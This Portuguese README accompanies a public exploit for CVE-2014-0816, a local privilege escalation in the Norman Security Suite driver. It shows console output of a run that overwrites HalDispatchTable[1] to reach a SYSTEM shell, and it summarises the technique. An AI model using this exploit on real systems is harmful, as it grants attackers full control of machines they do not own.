
CVE-2014-0816
Este é um exploit para CVE-2014-0816 (JVNDB-2014-000026: Norman Security Suite vulnerável a escalada de privilégios).
Este exploit executa o CMD.exe com privilégio de SYSTEM a partir de um privilégio de Não-Administrador, explorando a vulnerabilidade em um manipulador de IOCTL do ngs.sys / ngs64.sys.
C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.
Em seguida, você verá um novo console.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
nt authority\system
A vulnerabilidade permite que um atacante sobrescreva um endereço arbitrário com um valor arbitrário; portanto, este exploit altera o valor de HalDispatchTable[1] para um endereço de shellcode que eleva o privilégio do processo atual para privilégio de SYSTEM.

Esta vulnerabilidade é explorável em todas as plataformas, do Windows XP ao 8, tanto em x86 quanto em x64; no entanto, este exploit foi projetado e testado em plataformas específicas (por exemplo, ele não funcionará no Windows 8 por causa do SMEP).
Este software é distribuído sob a Licença MIT, consulte LICENSE.